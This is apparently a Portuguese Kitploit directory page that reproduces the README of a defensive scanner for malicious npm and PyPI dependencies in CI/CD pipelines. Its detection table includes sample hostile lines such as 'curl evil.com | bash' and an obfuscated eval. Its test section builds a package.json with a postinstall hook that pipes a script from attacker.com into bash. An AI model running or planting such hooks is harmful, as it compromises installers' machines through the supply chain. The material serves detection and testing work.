Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ci-supplychain-guard — Ferramenta de análise estática que detecta dependências maliciosas em pipelines CI/CD usando correspondência de padrões e análise AST, com um sistema de pontuação de risco semafórico e verificação opcional em sandbox Docker. | Kitploit
Ferramentas/GitHubGitHub/otsmane-ahmed/ci-supplychain-guard
Análise EstáticaScanners de VulnerabilidadesSegurança de ContêineresAnálise de CódigoAnálise de MalwareDevSecOpsDetecção de SegredosSegurança da Cadeia de Suprimentos
GitHub
otsmane-ahmed/ci-supplychain-guard

ci-supplychain-guard

Ferramenta de análise estática que detecta dependências maliciosas em pipelines CI/CD usando correspondência de padrões e análise AST, com um sistema de pontuação de risco semafórico e verificação opcional em sandbox Docker.

Ver Repositório
2853há 7 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CI Supply Chain Guard

Uma ferramenta de análise estática para detectar dependências maliciosas em pipelines CI/CD antes de serem mescladas ao seu código.

License: MIT Python 3.10+

Autor: Otsmane Ahmed
Status: Protótipo de Pesquisa v1.0


Início Rápido

root@kitploit:~
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt
root@kitploit:~
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

A ferramenta exibirá um veredito: SAFE, SUSPICIOUS ou BLOCKED.


Exemplos de Uso

Escaneando um Pacote Antes da Instalação

Se você baixou um pacote do npm ou PyPI e quer verificar se é seguro:

root@kitploit:~
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

Escaneando Dependências Instaladas

Verifique pacotes que já estão instalados no seu projeto:

root@kitploit:~
# Scan all npm packages
python3 main_guard.py ./node_modules

# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

Nota: Escanear diretórios grandes como node_modules levará mais tempo. Para resultados mais rápidos, escaneie pacotes individuais.

Integração com CI/CD

Exemplo de workflow do GitHub Actions:

root@kitploit:~
name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

O pipeline falhará (código de saída 1) se código malicioso for detectado.


Entendendo a Saída

Pacote Seguro

root@kitploit:~
$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

Nenhum padrão malicioso detectado.

Pacote Bloqueado

root@kitploit:~
$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Padrões perigosos detectados (ex.: injeção de shell, roubo de credenciais). Não instale este pacote.

Pacotes com pontuação 10 ou superior são automaticamente bloqueados.

Pacote Suspeito

root@kitploit:~
$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Alguns padrões preocupantes encontrados. Se o Docker estiver em execução, o pacote será testado em um sandbox isolado para verificação. Recomenda-se revisão manual.


Capacidades de Detecção

Tipo de AtaqueExemploStatus
Injeção de Shellcurl evil.com | bashDetectado
Roubo de CredenciaisLeitura de process.env e envio para servidor externoDetectado
Ofuscação de Códigoeval(atob('base64...'))Detectado
Scripts de Instalação MaliciososHooks postinstall do NPMDetectado
Arquivos Binários.exe, .dll em pacotesDetectado
TyposquattingNomes semelhantes a pacotes popularesVerificação manual necessária

Testando a Ferramenta

Você pode testar o CI-Guard criando um pacote malicioso de exemplo:

root@kitploit:~
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Saída esperada:

root@kitploit:~
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

Desempenho

EcossistemaPacotes TestadosTaxa de Detecção
NPM15,05989.6%
PyPI2,25782.2%

Tempo médio de escaneamento: 1-3 segundos por pacote (apenas análise estática)


Perguntas Frequentes

Posso escanear pacotes que já estão instalados?

Sim. Aponte o CI-Guard para o diretório node_modules ou site-packages do Python:

root@kitploit:~
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

E se um pacote legítimo for sinalizado?

O CI-Guard peca por excesso de cautela. Se você confia em um pacote sinalizado:

  1. Verifique as regras de detecção em analyzer/static_scanner.py
  2. Identifique qual padrão acionou o alerta
  3. Revise manualmente o código-fonte do pacote

Funciona no Windows e macOS?

Sim. Python e Docker são multiplataforma.

Preciso ter o Docker instalado?

O Docker é necessário apenas para pacotes com pontuação 4-9 (suspeitos). A maioria dos pacotes é claramente segura (0-3) ou claramente maliciosa (10+).


Requisitos

  • Python 3.10+
  • Docker (opcional, para verificação em sandbox)
  • Sistemas operacionais suportados: Linux, macOS, Windows

Como Funciona

O CI-Guard usa um sistema de 'Semáforo' de três níveis:

  • Verde (0-3): Seguro - nenhum padrão malicioso detectado
  • Amarelo (4-9): Suspeito - requer verificação em sandbox
  • Vermelho (10+): Bloqueado - padrões maliciosos críticos encontrados

Métodos de detecção:

  • Análise Estática: Correspondência de padrões usando regex e AST (Árvore Sintática Abstrata)
  • Análise de Alcance: Filtra falsos positivos de código morto
  • Sandbox: Contêiner Docker opcional com honeytokens para detectar evasão

Contribuições

Pull requests são bem-vindos. Para adicionar uma nova regra de detecção:

Edite analyzer/static_scanner.py e adicione à lista RULES:

root@kitploit:~
{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # Score contribution (1-10)
}

Licença

Licença MIT - veja o arquivo LICENSE para detalhes.


Contato

Otsmane Ahmed - GitHub

Baixar ferramenta